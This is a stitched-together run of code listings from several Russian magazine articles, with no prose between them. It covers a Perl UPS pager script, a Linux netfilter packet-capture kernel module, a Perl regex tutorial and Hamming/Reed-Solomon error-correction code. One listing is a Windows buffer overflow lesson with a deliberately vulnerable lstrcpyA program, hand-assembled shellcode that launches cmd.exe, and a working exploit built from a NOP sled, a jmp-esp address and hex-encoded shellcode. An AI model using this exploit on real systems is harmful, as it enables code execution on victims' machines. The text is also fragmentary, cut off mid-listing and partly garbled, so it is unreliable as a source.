/etc/turnUPSoff ]; then echo "Turning off UPS. Bye." /sbin/poweroffups /dev/ttyS0 5 # exit 1 fi #!/usr/local/bin/perl use Socket; $pagermail="xxxxxx\@xxxxxxxx.ru"; $pagersmtp="XX.XX.XX.XX"; $from='server@yyyyyyyy.ru'; $subject ='Server power fail!'; $date = localtime time; ########### Send to pager ########### socket(SMTP, PF_INET(), SOCK_STREAM(),6); connect(SMTP,sockaddr_in(25,inet_aton($pagersmtp))); recv(SMTP, $buffer, 200, 0); send(SMTP, "HELO pasha\r\n",0); recv(SMTP, $buffer, 200, 0); send(SMTP, "MAIL FROM: <$from>\r\n",0); recv(SMTP, $buffer, 200, 0); send(SMTP, "RCPT TO: <$pagermail>\r\n",0); recv(SMTP, $buffer, 200, 0); send(SMTP, "DATA\r\n",0); recv(SMTP, $buffer, 200, 0); send(SMTP, "From: $from\r\n",0); send(SMTP, "To: $pagermail\r\n",0); send(SMTP, "Subject: $subject\r\n",0); send(SMTP, "Mime-Version: 1.0\r\n",0); send(SMTP, "Content-Type: text/plain; charset=koi8-r\r\n",0); send(SMTP, "Content-Transfer-Encoding: 8bit\r\n",0); send(SMTP, "\r\n",0); send(SMTP, "Power failure. System going to gеренос строки poweroff in 10 minutes. $date\r\n",0); send(SMTP, "\r\n.\r\n",0); recv(SMTP, $buffer, 200, 0); #print "SMTP answer on message to pager: $buffer\n"; send(SMTP, "QUIT\r\n",0); recv(SMTP, $buffer, 200, 0); close (SMTP); $pagersmtp="XX.XX.XX.XX"; $from='server@yyyyyyyy.ru'; # chmod +x power_fail NETFILTER Владимир Мешков return NF_HOOK(PF_INET, NF_IP_PRE_ROUTING, skb, dev, NULL, ip_rcv_finish); struct nf_hook_ops { struct list_head list; /* User fills in from here down. */ nf_hookfn *hook; int pf; int hooknum; /* Hooks are ordered in ascending priority. */ int priority; }; typedef unsigned int nf_hookfn(unsigned int hooknum, struct sk_buff **skb, const struct net_device *in, const struct net_device *out, int (*okfn)(struct sk_buff *)); mknod /dev/nf_ip c 76 0 #include #include #include #include #include #include #include #include struct ip_pkt { __u16 iph_len; __u32 pkt_len; char buff[65536]; } *pkt; struct iphdr *iph; int pkt_ready; static unsigned int our_hook ( unsigned int hook, struct sk_buff **pskb, const struct net_device *indev, const struct net_device *outdev, int (*okfn)(struct sk_buff *)) { iph = (*pskb)->nh.iph; pkt->iph_len = iph->ihl<<2; pkt->pkt_len = (*pskb)->len; memset((*pskb)->data+pkt->iph_len,0,((*pskb)->len)-(pkt->iph_len)); memcpy(pkt->buff,(*pskb)->data,(*pskb)->len); printk("Indev - %s\n",(char *)indev); printk("Outdev - %s\n",(char *)outdev); pkt_ready = 1; return NF_DROP; } static struct nf_hook_ops our_ops = { {NULL,NULL}, our_hook, PF_INET, NF_IP_LOCAL_IN, NF_IP_PRI_FILTER-1 }; struct file_operations nf_fops = { read: read_pkt, open: open_pkt, release: close_pkt, }; static int open_pkt(struct inode *inode, struct file *file) { if(MOD_IN_USE) return -EBUSY; if(MINOR(inode->i_rdev) != 0) return -ENODEV; if((file->f_mode) != 1) return -EBUSY; pkt=(struct ip_pkt *)kmalloc (sizeof(struct ip_pkt),GFP_ATOMIC); nf_register_hook(&our_ops); pkt_ready = 0; MOD_INC_USE_COUNT; return 0; } static ssize_t read_pkt(struct file *file, char *buf, size_t count, loff_t *ppos) { if(pkt_ready) { copy_to_user(buf,pkt,sizeof(struct ip_pkt)); count = pkt->pkt_len; file->f_pos += count; pkt_ready = 0; return count; } return 0; } static int close_pkt(struct inode *inode, struct file *file) { kfree(pkt); nf_unregister_hook(&our_ops); MOD_DEC_USE_COUNT; return 0; } int init_module(void) { if (register_chrdev(76,"nf_ip",&nf_fops)) return -EIO; return 0; } void cleanup_module(void) { if(MOD_IN_USE) return; unregister_chrdev(76,"nf_ip"); return; } CC = gcc CFLAGS = -O2 -Wall LINUX = /usr/src/linux MODFLAGS = -D__KERNEL__ -DMODULE -I$(LINUX)/include netf.o: netf.c $(CC) $(CFLAGS) $(MODFLAGS) -c netf.c #include #include #include #include #include #include int main () { struct data_pkt { u_short iph_len; u_long len; char buff[65536]; } data; struct iphdr ip; int count=0; int fddev=0; int d; puts("\nЖдем пакет ... "); memset(&data,0,sizeof(struct data_pkt)); memset(&ip,0,sizeof(struct iphdr)); fddev=open("/dev/nf_ip",O_RDONLY); if(fddev<0) { perror("nf_ip"); exit(0); } for(;;) { count=read(fddev,(char *)&data,sizeof(struct data_pkt)); if(count < 0) { perror("count"); return (-1); } if(count == 0) continue; if(count > 0) { close(fddev); break; } } printf("пакет получен.\n\n"); printf("Длина пакета\t-\t%d\n",data.len); printf("Длина IP-заголовка\t-\t%d\n",data.iph_len); d=open("data.file",O_CREAT|O_TRUNC|O_RDWR,0600); if(!d) { perror("data.file"); return (-1); } if(!(write(d,data.buff,data.len))) { perror("data.file"); return (-1); } close(d); memcpy(&ip,data.buff,data.iph_len); printf("\nSource IP\t-\t%s\n",inet_ntoa(ip.saddr)); printf("Destin. IP\t-\t%s\n",inet_ntoa(ip.daddr)); printf("Протокол\t-\t%d\n",ip.protocol); printf("Длина заголовка\t-\t%d\n",ip.ihl<<2); printf("Длина пакета\t-\t%d\n\n",ntohs(ip.tot_len)); return (0); } gcc -o pkt_read pkt_read.c ping -c3 223.223.1.10 00000000 45 00 00 54 | 01 6C 00 00 | FF 01 F8 70 | DF DF 01 0A 00000010 DF DF 01 03 | 00 00 00 00 | 00 00 00 00 | 00 00 00 00 00000020 00 00 00 00 | 00 00 00 00 | 00 00 00 00 | 00 00 00 00 00000030 00 00 00 00 | 00 00 00 00 | 00 00 00 00 | 00 00 00 00 00000040 00 00 00 00 | 00 00 00 00 | 00 00 00 00 | 00 00 00 00 00000050 00 00 00 00 | 00 00 00 00 | 00 00 00 00 | 00 00 00 00 static struct nf_hook_ops our_ops = { {NULL,NULL}, our_hook, PF_INET, NF_IP_LOCAL_OUT, NF_IP_PRI_FILTER-1 }; ping -c3 223.223.1.10 Переполнение буфера в Windows NT/2000/XP Станислав Гошко #include #include void vuln_func(char *stroka) { char buffer[100]; // буфер lstrcpyA(buffer,stroka); // функция, в результате вызывающая переполнение буфера } void main (int argc, char *argv[]) { vuln_func(argv[1]); // вызов уязвимой функции printf("Parameter is : %s",argv[1]); } Parameter is : 0(null) c:\x-files\bug.exe aaaaaaa Parameter is : aaaaaaa#include void main() { WinExec("cmd.exe",1); } #include "windows.h" #include "stdio.h" main(int argc, char *argv[]) { // Данные, необходимые для работы программы HMODULE hnd1; FARPROC a; char *name1; char *modul1; // Вывод сообщения об использовании утилиты printf("Usage GETADDR \n"); if (argc < 3) { // Если запущены без параметров, то выведем адреса // KERNEL32 и WIN API функции GetProcAddress name1="GetProcAddress"; modul1="KERNEL32"; } else // Если запущены с параметрами, то выведем по запросу // пользователя { name1=argv[2]; modul1=argv[1]; } // Получаем адрес модуля hnd1=GetModuleHandle(modul1); // Получаем адрес WIN API функции a=GetProcAddress(hnd1,name1); // Выводим оба адреса printf("Module=[%s] Address=%xh\n",modul1,hnd1); printf("Function=[%s] Address=%xh\n",name1,a); // Выход из программы return(0); } .386 .model flat, stdcall extrn ExitProcess:proc .data start: ;---------------[ SUPA SHELL CODE]------------------------ nach: push 1 ; Параметр для вызова WinExec mov esi,esp ; Устанавливаем esi на стек try: ; lodsd ; Ищем текстовую строку cmp eax,012345678h ; с именем программы jne try ; push esi ; Нашли, положим, смещение ; в стек mov eax,77e684c6h ; Кладем в eax адрес функции call eax ; Вызываем WinExec -> cmd.exe nop ; Эти nop для выравнивания nop ; на границу двойного слова xor eax,eax ; Обнуляем eax push eax ; Кладем 0 в стек (параметр) mov eax,77e75cb5h ; Кладем в eax адрес функции call eax ; Call ExitProcess name1: dd 012345678h ; "Метка" имени программы db 'cmd.exe',0 ; Имя программы kon: ;--------------------------------------------------------- .code nop ; end start end #include #include void main (int argc, char *argv[]) { char *shell1= "\x6a\x01\x8b\xf4\xad\x3d\x78\x56\x34\x12\x75\xf8\x56\xb8\xc6\x84" "\xe6\x77\xff\xd0\x90\x90\x33\xc0\x50\xb8\xb5\x5c\xe7\x77\xff\xd0" "\x78\x56\x34\x12\x63\x6d\x64\x2e\x65\x78\x65"; char mass[152]; char buff[160]="BUG.EXE "; // n0p's memset(mass,'\x90',104); // n0p's + jmp esp strcat(mass,"\x4a\x75\xd7\x77"); // n0p's + jmp esp + shell_c0de strcat(mass,shell1); // file_name + n0p's + jmp esp + shell_c0de strcat(buff,mass); WinExec(buff,1); } c:\x-files\bug.exe PPPPPPPPPPPPPPPP...РР[new_addr][shell_c0de] #include #include void vuln_func(char *stroka) { char buffer[100]; // буфер if (sizeof(buffer)>strlen(stroka)) // !!!!!!!!!!!!!!!! // функция в результате вызывающая переполнение буфера lstrcpyA(buffer,stroka); } void main (int argc, char *argv[]) { vuln_func(argv[1]); // вызов уязвимой функции printf("Parameter is : %s",argv[1]); } Регулярные выражения и поиск текста в Perl Владислав Гошко $string = "Tasty Berry"; if ($string =~ m/berry/i){ print "This is berry string!"; } $lines=""; open(FILE,"file.txt") or die $!; while(){ if(/exit/i){ last; }else{ $lines.=$_; } } close(FILE); $string = "Tasty Berry"; if($string !~ /berry/i){ print "This is NOT berry string!"; }else{ print "This is berry string!"; } $string = "Tasty Strawberry"; $string = "Tasty Berry"; if($string !~ /\bberry\b/i){ print "This is NOT berry string!"; }else{ print "This is berry string!"; } $string = "/usr/bin/perl"; # например, вы хотите заменить каталог /bin – на /local/bin $string =~ s/\/bin/\/local\/bin/ig; $string = "/usr/bin/perl"; $string =~ s%/bin%/local/bin%ig; $string =~ s|/bin|/local/bin|ig; $string =~ s(/bin)(/local/bin)ig; $string =~ s{/bin}{/local/bin}ig; $string = "Some path /usr/bin/perl\n...and another path usr/bin/perl"; $string =~ s%/bin%/local/bin%i; print $string; Some path /usr/local/bin/perl ...and another path /usr/bin/per Some path /usr/local/bin/perl ...and another path /usr/local/bin/per "\", "|", "(", "{", "[", "*", "+", "$", "?", "." $string = "one two three four five"; $string =~ m/three/; print $`; # результат: "one two " print $'; # результат: " four five" print $&; # результат: "three" # теперь насчет массивов @+ и @- print $-[0]; # результат: 8 print $+[0]; # результат: 13 # переменные $#-, $#+ указывают на длину @-, @+ соответственно # с помощью функции substr() можно получить переменные $`, $', # $&, например $before_pat = substr($string,0,$-[0]); # аналог $` $after_pat = substr($string,$+[0]); # аналог $' $pattern = substr($string,$-[0],$+[0]-$-[0]); # аналог $& $string = "some text"; $qwer =~ /(?{$var1=2.3;$var2=3.2})/; print $^R $string = "some text"; $string =~ m/(\w+)\s+(\w+)/; print $+; $string = "couple\nof\nlines\ngoes\nbellow..."; print $string =~ m/^lines/; # в этом случае пустая строка "" $*=1; # после присвоения переменной $* истины, результат будет print $string =~ m/^lines/; # – истина $string = "words don't come easy"; $string =~ s/(\w+)/uc($1)/eg; print $string; while(<>){ if(/^exit$/){last} if(/^quit$/){last} if(/^stop$/){last} } while(<>){ # это перебор со сравнением с текстом, т.е. если хотя бы # один фрагмент из альтернативы совпадет с текстом, # то возвращаемое значение примет истину, т.е. в данном # случае, если пользователь введет в STDIN, exit или quit или # же stop, то мы завершим цикл if(/^(quit|exit|stop)$/){ last; } } $string = "BETALPHA"; if(($string =~ /ALPHA/) and ($string =~ /BETA/)){ print "OK"; } if($string =~ /(?=.*ALPHA)(?=.*BETA)/){ # так не делать – пример для перекрывающихся совпадений print "OK"; } $string =~ /^(?:(?!PAT).)*$/ $string = "One! Two!! Three!!! And some words next..."; $string =~ m/(\w+(?=!!!))/; print $1; $string = "1234567890"; @nonlap = $string =~ /(\d\d\d)/g; @yeslap = $string =~ /(?=(\d\d\d))/g; print "Non-overlapping: @nonlap\n"; print "Overlapping: @yeslap\n"; Non-overlapping: 123 456 789 Overlapping: 123 234 345 456 567 678 789 890 $string = "secret password"; $string =~ s/./*/g; print $string; **************$string = "some text\nnew string"; $string =~ s/./*/g; print $string; ********* ********** $string = "some text\nnew string"; $string =~ s/./*/gs; print $string; ******************** $string = "simple text"; $_ = $string; if(/.{80,}/){ print "Length of text is OK"; }else{ print "Length of text isn't OK"; } $string = "It is some text!!!!!!!!!!!!!!!!!"; $string =~ s/!+/!/; print $string; $string = "It is some text"; $string = "It is some text!!!!!!!!?!!!!!!!!"; $string =~ s/!{8}//; print $string; # вероятно, вы сделате так: $string = "That is reality, isn't it?"; $string =~ s/.*is/That's/; print $string; $string =~ s/.*?is/That's/; $string = " Some text"; $string =~ s/^\s+//; $string = "Some text "; $string =~ s/\s+$//; $string = "Berry"; if ($string =~ /[br]/){ print "B and R"; } $string = "some Text"; if($string =~ /[A-Z]/){ print "Uppercase here..."; } # если есть буквы, то возвращает истину $string = "some text"; if($string =~ /[A-Za-z]/){ print "Letters here..."; } $string = "abcdef"; if($string =~ /[^abcde]+/){ print "In class"; } $string = "abcde"; $string = "some_text 12345"; $string =~ /([a-z_]+)\s+(\d+)/g; print "Text: $1\nNumbers: $2"; Text: some_text Numbers: 12345 $string = "she loves me not"; # как видите, здесь четыре группы $string =~ s/(\w+)\s+(\w+)\s+(\w+)\s+(\w+)/$4 $3 $2 $1/g; print $string; $string = "she loves me not"; $string = join(" ",reverse split(" ",$string)); $word = "reviver"; print $is_palindrome = ($word eq reverse($word)); # вот какие-нибудь входные данные $string = " x = -15.32"; $string =~ ([a-z]+)\s*=\s*([+-]?\d+\.?\d*) /x; x = 15.1 y = 3. z = +12.22 x=3 y= 5 z=3.4 x=1 y=2 z=3 $string = " x = 15.1 y = 3. z = +12.22\nx=3 y= 5 z=3.4\ ї nx=1 y=2 z=3"; $c=0; # счетчик итераций while($string =~ m/ ([a-z]+)\s*=\s*([+-]?\d+\.?\d*)\s+ ([a-z]+)\s*=\s*([+-]?\d+\.?\d*)\s+ ([a-z]+)\s*=\s*([+-]?\d+\.?\d*)/xg){ # используем расширенный вид – для более легкого чтения $x = $2; # а вот и данные, т.е. x, y, z $y = $4; $z = $6; # далее что угодно делаем с данными, # а в переменных $1, $3, $5 находятся имена переменных # "вытянутых" из данных на всякий случай $c++; print "x = $x\n"; print "y = $y\n"; print "z = $z\n"; print "Iteration number: $c\n\n"; } x = 15.1 y = 3. z = +12.22 Iteration number: 1 x = 3 y = 5 z = 3.4 Iteration number: 2 x = 1 y = 2 z = 3 Iteration number: 3 $string = "words 999 text"; # извлекает в массив @arr все "слова", # а точнее, диапазон строчных или заглавных букв от a до z @arr = ($string =~ m/([A-Za-z]+)/g); print join " ",@arr; $string = "go to main page"; $string =~ m%<(a|body)\s+(.*)>(.*)%; $link_name = $3; print $link_name; open(FH,"file.txt") or die $!; undef $/; @chunks = split(/\r\n|\n/,); $string = "some letters"; @l = split(//,$string); $string = "This is some text"; $string =~ tr[A-Za-z][*]c; print $string; $string = "Thiiiisss is sooooome teeeeeeext"; $string =~ tr[A-Za-z][]s; # если второй аргумент пуст, то в него подставляется # первый аргумент print $string; $string = "tHIS iS bUGGY tEXT !!!"; $string =~ tr{A-Za-z}{a-zA-z}; print $string; $string = "Some text"; $count = ($string =~ tr{A-Za-z}{}); print $count; $string = "Some _unique_text_ !!!"; $count = ($string =~ tr{A-Za-z}{}c); print $count; $string = "This is some text !"; $count = ($string =~ tr/i/i/); print $count; $string = "Some numbers: 7321"; $string =~ tr/7321/0-9/; print $string; $string = "Some numbers: 7 then 3 then 2 and then 1"; $string =~ tr/7321/0-9/; Some numbers: 0 then 1 then 2 and then 3 $string = "some text is here"; $string =~ tr/oet/ina/; print $string; $string = "some\@mail.ru"; if($string =~ /([^<>(),;\s]+\@[^<>(),;\s]+)/){ print "Valid mail"; }else{ print "Invalid mail"; } $progname = "/usr/bin/perl.txt"; $progname =~ m%(^.*/)(.*)\.(.*)%; # $1 – путь до программы: /usr/bin/ # $2 – программа: perl.txt # $3 – программа без расширения: perl # $4 – расширение программы: txt use locale; # для русских букв (если настроен локальный контекст), # т.е. утверждение \w+ используется для русских слов $string = "здесь какие-нибудь слова и что-нибудь еще..."; $wc=0; $string =~ s/(\w+)/ if(++$wc % 2 == 0){ chars($1) }else{ $1 } /igex; sub chars{ my($text)=@_; my($res,$chr,$i); for($i=0;$i<=length($text);$i++){ $chr = substr($text,$i,1); if($i % 2 == 0){ $res.=uc($chr); }else{ $res.=$chr; } } return $res; } print $string; здесь КаКиЕ-нибудь СлОвА и ЧтО-нибудь ЕщЕ... $urls = '(http|telnet|gopher|file|wais|ftp)'; $ltrs = '\w'; $gunk = '/#~:.?+=&%@!\-'; $punc = '.:?\-'; $any = "${$ltrs}${$gunk}${$punc}"; while(<>){ s{\b($urls:[$any]+?)(?=[$punc]*[^$any]|$)} {$1}igox; print; } $string = "some text, some uppercase text, than normal text and uppercase text again"; $string =~ s#((?:(?!).)*)#uc($1)#igmse; print $string; some text, SOME UPPERCASE TEXT, than normal text AND UPPERCASE TEXT AGAIN $href = qq~ test new link ~; sub cut_tag{ my($tag,$param,$text)=@_; my(@mas,$param_line); if($tag and $param and $text){ while($text =~ m#<($tag)(.+?)>(.*?)#igso){ $param_line = $2; if($param_line =~ /$param/i){ $param_line =~ m/$param\s*=\s*(["']?) (.*?)\1/ogis; push(@mas,$2); } } return @mas; }else{ return 0; } } # первый аргумент – HTML-тег, из которого нужно доставать # атрибут, второй аргумент – это и есть атрибут, который # будет вынут, а третий аргумент – это текст, из котрого все # это будет доставаться (все извлекается в массив) @m = cut_tag("a","href",$href); print join "\n",@m; JavaScript: alert('cmon') new.htm $string =~ s{ /\* .*? \*/ }[]gsx; @capwords = ($string =~ m/(\b[^\Wa-z0-9_]+\b)/g); @capwords = ($string =~ m/(\b[^\WA-Z0-9_]+\b}/g); @icwords = ($string =~ m/(\b[^\Wa-z0-9_][^\WA-Z0-9_]*\b)/g); Могущество кодов Рида-Соломона или Информация, воскресшая из пепла Крис Касперски Листинг 1. Пример простейшего 4-битного кода с расстоянием Хемминга, равным единице. Такой код широко используется в вычислительной технике, несмотря на его невозможность обнаружить ошибки. 0 -> 0000; 4 -> 0100; 8 -> 1000; 12 -> 1100; 1 -> 0001; 5 -> 0101; 9 -> 1001; 13 -> 1101; 2 -> 0010; 6 -> 0110; 10 -> 1010; 14 -> 1110; 3 -> 0011; 7 -> 0111; 11 -> 1011; 15 -> 1111; Листинг 2. Пример 4-битного кода с расстоянием Хемминга, равным двум, способного обнаруживать одиночные ошибки. 0 -> 0000; 4 -> 1001; 1 -> 0011; 5 -> 1010; 2 -> 0101; 6 -> 1100; 3 -> 0110; 7 -> 1111; Листинг 3. Пример 10-битного кода, с расстоянием Хемминга, равным пяти, способного обнаруживать 4-битные ошибки, а исправлять 2-битные. 0000000000 0000011111 1111100000 1111111111 Листинг 4. Восстановление 4-битной ошибки. 0000000000 0000011111 1111100000 1111111111 0100110101 0100110101 0100110101 0100110101 ---------- ---------- ---------- ---------- 5 отличий 4 отличия 6 отличий 5 отличий Листинг 5. Корректирующие способности простого кода Хемминга. обнаружение ошибок: d >= r исправление ошибок: d > 2r информационная емкость: 2n/d Листинг 6. Кодовое слово вместе с информационными битами. AB0C101D 12345678 Листинг 7. Расчет эффективной информационной емкости кодов Хемминга для слов различной длины. main() { int a; int _pow = 1; int old_pow = 1; int N, old_N = 1; printf( "* * * hamming code efficiency test * * * by Kris Kaspersky\n"\ " BLOCK_SIZE FUEL UP EFFICIENCY\n"\ "-----------------------------------\n"); for (a = 0; a < MAX_POW; a++) { N = _pow - old_pow - 1 + old_N; printf("%8d %8d %8.1f%%\n",_pow, N, (float) N/_pow*100); // NEXT old_pow = _pow; _pow = _pow * 2; old_N = N; } printf("-----------------------------------\n"); } Листинг 8. Результат расчета эффективной информационной емкости кодов Хемминга для слов различной длины. BLOCK_SIZE FUEL UP EFFICIENCY ----------------------------------- 1 0 0.0% 2 0 0.0% 4 1 25.0% 8 4 50.0% 16 11 68.8% 32 26 81.3% 64 57 89.1% 128 120 93.8% 256 247 96.5% 512 502 98.0% 1024 1013 98.9% 2048 2036 99.4% 4096 4083 99.7% 8192 8178 99.8% 16384 16369 99.9% 32768 32752 100.0% 65536 65519 100.0% 131072 131054 100.0% 262144 262125 100.0% 524288 524268 100.0% ----------------------------------- Листинг 9. Простейший пример реализации кодера/декодера Рида-Соломна, работающего по обычной арифметике (т.е. с неоправданным расширением разрядной сетки), и исправляющим любые одиночные ошибки в одном 8-битном информационном слове (впрочем, программу легко адаптировать и под 16-байтовые информационные слова). Обратите внимание, что кодер реализуется чуть ли не на порядок проще декодера. В настоящем декодере Рида-Соломна, способном исправлять групповые ошибки, этот разрыв еще значительнее. // ВНИМАНИЕ! данный кодер/декодер построен на основе // обычной арифметики, не арифметики полей Галуа, // в результате чего его практические возможности более // чем ограничены, тем не менее он нагляден и удобен для // изучения #include // ширина входного информационного символа (бит) #define SYM_WIDE 8 // входные данные (один байт) #define DATAIN 0x69 // номер бита, который будет разрушен сбоем #define ERR_POS 3 // неприводимый полином #define MAG (1<<(SYM_WIDE*1) + 1<<(SYM_WIDE*0)) // ------------------------------------------------------ // определение позиции ошибки x по остатку k от деления // кодового слова на полином k = 2^x, где "^" – возведение // в степень; функция принимает k и возвращает x // ------------------------------------------------------ int pow_table[9] = {1,2,4,8,16,32,64,128,256}; lockup(int x) {int a;for(a=0;a<9;a++) ї if(pow_table[a]==x)return a; return -1;} main() { int i; int g; int c; int e; int k; fprintf(stderr,"simplest Reed-Solomon endoder/decoder by Kris Kaspersky\n\n"); // входные данные (информационное слово) i = DATAIN; // неприводимый полином g = MAG; printf("i = %08x DATAIN)\ng = %08x (POLYNOM)\n", i, g); // КОДЕР РИДА-СОЛОМОНА (простейший, но все-таки кое-как // работающий). // Вычисляем кодовое слово, предназначенное для передачи c = i * g; printf("c = %08x (CODEWORD)\n", c); // конец КОДЕРА // передаем с искажениями e = c ^ (1<